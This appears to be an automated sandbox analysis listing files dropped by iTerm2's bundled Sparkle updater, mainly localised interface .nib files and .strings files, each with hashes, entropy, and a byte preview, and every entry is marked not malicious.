Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hu.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9986
Entropy (8bit):	3.533324903572847
Encrypted:	false
SSDEEP:	192:MRpeN0KXV3Z43tdQUySUWkDB5hMLdqGnfH5Xl42NJF7qdr:7GSRSlcGfHpDNJF7qdr
MD5:	F3FDC011A27524200ECCEC117DDC7B48
SHA1:	3D1EC2C336D6F8B87DBD5385392108FDF4A10403
SHA-256:	D37774C27359C766F2DAB730CB2510A7C65B8D5980110A015C0D47376E45EC7B
SHA-512:	15BD5FC7827539790CF4B454CA6BCB90934896BFB0BC42A07A192C1969F8E5BAC8F0AA1344ED7BDA502E922321359DDFF7EE38F9225A475AC44BB039FE55B2D0
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A. .%.1.$.@. .%.2.$.@. .v.e.r.z.i...j.a. .l.e.t...l.t.Q.d...t.t. ...s. .k...s.z.e.n. ...l.l. .a. .t.e.l.e.p...t...s.r.e.!. .E.z. .e.g.y. .f.o.n.t.o.s. .f.r.i.s.s...t...s.;. .s.z.e.r.e.t.n... .m.o.s.t. .t.e.l.e.p...t.e.n.i.,. .m.a.j.d. ...j.r.a.i.n.d...t.a.n.i. .a. .%.1.$.@. .a.l.k.a.l.m.a.z...s.t.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A. .%.1.$.@. .%.2.$.@. .v.e.r.z.i...j.a. .l.e.t...l.t.Q.d...t.t. ...s. .k...s.z.e.n. ...l.l. .a. .t.e.l.e.p...t...s.r.e.!. .S.z.e.r.e.t.n... .m.o.s.t. .t.e.l.e.p...t.e.n.i.,. .m.a.j.d. ...j.r.a.i.n.d.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13548
Entropy (8bit):	6.698784635283931
Encrypted:	false
SSDEEP:	192:U1WzBQAFvFG2gaOeYjqE0lCjeEYNMtKwqJ36lpm/6T9rWEfCU2u:UgzJvF4aeqE0EeEYNg7qJ36lpmI9bfQu
MD5:	494A5DDAB33EDB9963DFB01A5E338C9D
SHA1:	DF9A7DCADA58861432EA670F9925E0DCDF9B52D9
SHA-256:	1CCE4AE7E2F0F2802DD800B08305B2DCA8F4198EE56D4F27AF10CE7255188275
SHA-512:	B1E92ECB77E879D957FE42B04645D5C6105404C3B884716704A6019658C6D51BDA0B7D33EBD0F75E039C24C951A8D89F4E5A264615B8006D78BD35B017BDF06D
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23173
Entropy (8bit):	6.859415677437374
Encrypted:	false
SSDEEP:	384:bRgbiT7f3E0UeEYNg7W+EQKpUv2YJtgR0M5tQHNKwZSEmqkMqeZii4O:1g+T7SeEYypKpUv2YJASNZSEmq6eZiin
MD5:	C0B9090069E281F52285EF3307D4504F
SHA1:	5A4A405586256918D63EF4E71CE4CD9206617660
SHA-256:	B390903AA3C7F58EA7BF7B70434D3990ACBEAD281EB28D2D9EA57D687C6D6448
SHA-512:	5772052C235AFE529BBFE1C00255A8A0E722686515A85C0FA1460F1F4AD2D4E5B41B5A2DA3599808A3268F9988513DAF85434E530DB9932741A959F80A4CD3AC
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20244
Entropy (8bit):	6.755738467215972
Encrypted:	false
SSDEEP:	384:IAgjvTz1E0DeEYNg74d+0VutleshI8tEddmf6xlobM78X9cmI5:JgPzveEYyMVutUshI3ddAyloZc95
MD5:	791D19B483C380B55CF65FE9A9456316
SHA1:	00AD73BDA8FAB0532D73B37EF5156B984C847E4D
SHA-256:	4D18CD1700333D8B9596E0D4BAB6EB30A67018366F1CD4AADF160E2ECB745F5C
SHA-512:	657A0DE2D2E382698E897AFD4EF918FB1967AFDA00FA94486966285FCC687957A48647DA12DFBCDBDA7B0D2DDCC57CDA11F54BCEE270918EDCE896F3F7BB6F6C
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	5868
Entropy (8bit):	3.4665653312637836
Encrypted:	false
SSDEEP:	96:Pa+ORD3IJSh3UJSRQUi54RUxosxzZDF4JfuVJtcTpUma1KUmatNma9yHALwM1vKn:PyD3Ish3UsRQUxU6YzZDF4UVzoqpfhN4
MD5:	A131FB039B5037E0A8F853EB1564676F
SHA1:	F1FC730FD661AEF219559075F9048968FCE0F343
SHA-256:	C5C575CA1FF35375374EC4544FABC6C9BBC8422B5FF9386BA2037FB8E5A60FC9
SHA-512:	E27ADD7B2AF06A3388A4567AEEC1597E7414B22FACEAABF479DF11D7AC96010E85E7D112F61C9B1FBB1194D5D5161F50DB36235294C36CB5EE4D9968374B7BE6
Malicious:	false
Reputation:	low
Preview:	..".%.@. .o.f. .%.@.". .=. .".%.@. .a.f. .%.@.".;.....".%.@. .%.@. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .a.n.d. .w.i.l.l. .b.e. .r.e.a.d.y. .t.o. .u.s.e. .n.e.x.t. .t.i.m.e. .%.@. .s.t.a.r.t.s.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .r.e.l.a.u.n.c.h. .n.o.w.?.". .=. .".%.@. .%.@. .h.e.f.u.r. .v.e.r.i... .s.e.t.t. .i.n.n. .o.g. .v.e.r...u.r. .t.i.l.t...k.t. .v.i... .n...s.t.u. .r...s.i.n.g.u. .%.@... .V.i.l.t.u. .e.n.d.u.r.r...s.a. .n...n.a.?.".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...". .=. .".%.@. .%.@. .e.r. .n...j.a.s.t.a. ...t.g...f.a.n. .s.e.m. .e.r. .f...a.n.l.e.g. ...e.s.s.a. .s.t.u.n.d.i.n.a...".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...\.n.(.Y.o.u. .a.r.e. .c.u.r.r.e.n.t.l.y. .r.u.n.n.i.n.g. .v.e.r.s.i.o.n. .%.@...).". .=. .".%.@. .%.@. .e.r. .n...j.a.s.t.a. ...t.g...f.a.n. .s.e.m. .e.r. .f...a.n.l.e.g. ...e.s.s.a. .s.t.u.n.d.i.n.a...\.n.(.Y.o.u. .a.r.e.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/it.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13484
Entropy (8bit):	6.718018869116733
Encrypted:	false
SSDEEP:	192:U1WzBQAF1G1YOeYjqE0lCjeEYNMtKwqJ36lNL/6T9rWuMFfrO7Z:UgzJ1DeqE0EeEYNg7qJ36lNLI9ONrOt
MD5:	131147548B246B7827EE6989D8412F32
SHA1:	C9E7E4A2F0FF530488D801B3CD2F45D9FFB92614
SHA-256:	31A3975D5C468DCE7DDFA4B9C645E263CF38623FF309DDA73F49E6A9C5DB0DBE
SHA-512:	DA1F84C3AA15F845A24FF8F34BA43759FEF34D5F207220B97F8C88FE229CE1CCE864CFA209C722298C0D99125C13968B6CF3BE106CEA755C42DEBCFDBEAF8F3E
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/it.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23402
Entropy (8bit):	6.868381995332999
Encrypted:	false
SSDEEP:	384:63gvzF7i3E0UeEYNg7W+EBglnvL7JtnT3APNkqTpXCbXH3Epeipfo6c:6g7F77eEYy4glnvL7JxTw1N2kpeiphc
MD5:	2CD364AA80CFA0EAD4C4C3202E8C2B36
SHA1:	A56691FFD550C9A244F373F67BD2E26BE869D06B
SHA-256:	D7B33198F145A3BDA2C4217C726529FACE5C7AB017921489A3740F3AB49CA9AE
SHA-512:	E122A5DE1B9A27FEA5661A91453937FAADAB4B3D19A6D36409A7E86175F9F26DFC0AF13157B6B3A83695C84E39ECDDB0CFEC32327E03524D27E091D9F70851CE
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~.......................................r........................................................... .%.&.)..0.1.7.J.M.N.O.P.W.X.Y._......................................................................... .).-...K.Q.W.\.a.g.l.q.w.\|...............................................................................!.".#.$.*.+.,...5.6.7.?.@.A.G.O.P.Q.W._.`.a.g.n.o.p.w.x.y.........s.......w...6.................\|................................................................................................................................................... .!.".#.$.%.(.+U$null.................................... ...".#.$VNSRoot]NSConnections\

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/it.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20181
Entropy (8bit):	6.762575663996639
Encrypted:	false
SSDEEP:	384:IAgjv+E0DeEYNg74d+0VutleshI8tEDGuxlobM78Xv6hZdXIrFXGf:JgseEYyMVutUshI3DGeloWXWFA
MD5:	9CEB7AE1F891F265FFADE9F1A60CC4A1
SHA1:	A5824FDB73DB415E2782F7AD4DFD51DB34529D73
SHA-256:	FB7BB6ADA1FC068DDA3AFC70BC97C64D5A3049082FDAC25321CFD314573815C3
SHA-512:	E57B4EC882A3A1C7AA97C42F82E1A1D302BFD2B83143B4D468CF04AB0A1D88321E9E8434C7E4F7C91A27336624D55FE9FD27217F278EFB535176F8C86F5B73F1
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/it.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8324
Entropy (8bit):	3.4061147679095343
Encrypted:	false
SSDEEP:	96:M45OdHBu2dnte3KiG3WivQUiLWRUxosryxIOn4OcxOWm94zXnfgXFtP06X8vNjU6:Mr1G35G3dvQU5U6AQ2nfSflyc42K
MD5:	AD0164AE403E0F292249896459FD6DE1
SHA1:	2AB3E5DE20CA03DD4A725DCB5C6EE7526950F6B6
SHA-256:	4A700B1E6B0D596F0EB8F75DE2EEB04CB17B3293CB261269FFFBD3C2E19C2696
SHA-512:	B6611B7C4396B7B68CE393D815231D66A82A6A45E638412AC36EEC75856D779A7BE7FB276D1D9D52B6D052458C478FD1EAE2C38BC98F7492847B194159E2E47C
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. ... .s.t.a.t.o. .s.c.a.r.i.c.a.t.o. .e.d. ... .p.r.o.n.t.o. .p.e.r. .e.s.s.e.r.e. .u.t.i.l.i.z.z.a.t.o.!. .D.e.s.i.d.e.r.i. .i.n.s.t.a.l.l.a.r.e. .e. .r.i.a.v.v.i.a.r.e. . .%.1.$.@. .o.r.a.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".I.m.p.o.s.s.i.b.i.l.e. .a.g.g.i.o.r.n.a.r.e. .%.1.$.@. .q.u.a.n.d.o. .v.i.e.n.e. .e.s.e.g.u.i.t.o. .d.a. .u.n. .v.o.l.u.m.e. .d.i. .s.o.l.a. .l.e.t.t.u.r.a. .c.o.m.e. .u.n.. i.m.m.a.g.i.n.e. .d.i.s.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13488
Entropy (8bit):	6.734298275047062
Encrypted:	false
SSDEEP:	192:U1WzBQAFXGgdAOeYjqE0lCjeEYNMtKwqJ36l3/6T9rWhNrufEc+Y:UgzJXlmeqE0EeEYNg7qJ36l3I9oucs
MD5:	28DE84F28E68CFCFB0226D61F994B864
SHA1:	EC174050D97A7543CC79E2C198F6E101D6E1EDB3
SHA-256:	F44D1A66D4EEC633A79443DDB81F2880B13BFCFD6E8CFD696EDDB52AB53C743E
SHA-512:	20E542E50EFF96A99C3886AB9B8FCE6B20C2D5A0A0A384400375671541DF1FE26FCA1E16639B376284D7DA54CA9AD4AF0171B03BB61D57D60BB98929FE4A4755
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23078
Entropy (8bit):	6.89342712701715
Encrypted:	false
SSDEEP:	384:bRgbiH4/E0UeEYNg7W+EG4lGv2YJtSD15zQHNKwoR+jvh:1g+HleEYyz4lGv2YJ00Noe
MD5:	CCC7840F31C1584A14ECE9D7C174BCAF
SHA1:	1C5E0F08D1B059D0889665A66FE42613788D0802
SHA-256:	1BDF1BD72D26AE57D9B94DD6EC1507CD0FFD02FE9DBD2485545F21EE45B87F41
SHA-512:	902B46D32E6B5B8FDEFCB5EEFEB7672CA29AC7F4AE944B28C2EFB065ED2E1DD44FBB9AE7FBCE94DBD26CFD7513223A4D33DC67B69F6D805B7655D4AF8DDF9794
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	19874
Entropy (8bit):	6.826694364440792
Encrypted:	false
SSDEEP:	384:IAgjvuE0DeEYNg74d+0VutleshI8tEvQxlobM78XB7wm6D:JgEeEYyMVutUshI3v0lod7wm6D
MD5:	3506E09DE0FD56B8F16E1503502DD486
SHA1:	3E9258108C7316C02B85C4A6F57EB96BDACB9D39
SHA-256:	82E4699B3ABC7B50053C56D7CDBEDC2E4F50CBB6949CB93BE558519A9CC24BA9
SHA-512:	1753944C864A0F8B3AD41D1ABA3082018AFC338EDF2D297C934A88BE7DA813B36D79F3D27F7C4299D0A9BB45DF569DAAD11027B418CEC57CC17F688C26903797
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	8516
Entropy (8bit):	4.304934571771806
Encrypted:	false
SSDEEP:	96:MNo4VBulJX8dj3n3nQUiApRUxM6jUupGEmZnmcQnO1j6JXJLM2hfkcJGvMMkzM/T:MCE3n3nQUjU6BtmNnO1SZ42bJGvkzKv
MD5:	193CCC2BCC746D824B326A8999EEEACD
SHA1:	A4EA8CAF834B0984EC4DEBE514462E076F2476FA
SHA-256:	8E767EEA091C8E87A90E91FAFC15DFE22DD3C619BBF6B2F1BC97AAA4FA87B5E1
SHA-512:	605E55F7085DB1C2385C9BD378B2EE1B43BF9524B739C313F3D97B8CC6D55FF0244D75EC4A668ACC56B226D1DE7A1E985CD8F4B0300CBC8D46EE6A53157F2425
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@.L0.0.0.0.0.0.0U0.0~0W0_0!. .S0.0o0....j0.0.0.0.0.0.0g0Y0.0.NY0P0%.1.$.@..0.0.0.0.0.0.0W0f0.Qw..RW0~0Y0K0?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@.L0.0.0.0.0.0.0U0.0~0W0_0!. ..NY0P0 .%.1.$.@. ..0.0.0.0.0.0.0W0f0.Qw..RW0~0Y0K0?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ko.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13456
Entropy (8bit):	6.7299661330359
Encrypted:	false
SSDEEP:	192:U1WzBQAFIG0EOeYjqE0lCjeEYNMtKwqJ36l8/6T9rWqnj:UgzJIUeqE0EeEYNg7qJ36l8I9Vj
MD5:	234DFF8C70A35C05044A31A66E89E11B
SHA1:	8AB2ABC76399BC8165505FBF43D32411AEEBC74A
SHA-256:	B9A475C7720ACE8855E137C35C8E0136E2C05C18509A5C543DAEAEAAD1A1F29F
SHA-512:	E792FF201AE5F92F5159416A5EF99FAFC721B9B1CF79194643C717C343C04788C2E327813B7122D3EFFD7FC3B024BEB2EEFF6D6D10279A29F82D1C8537BDC9C3
Malicious:	false
Reputation:	low
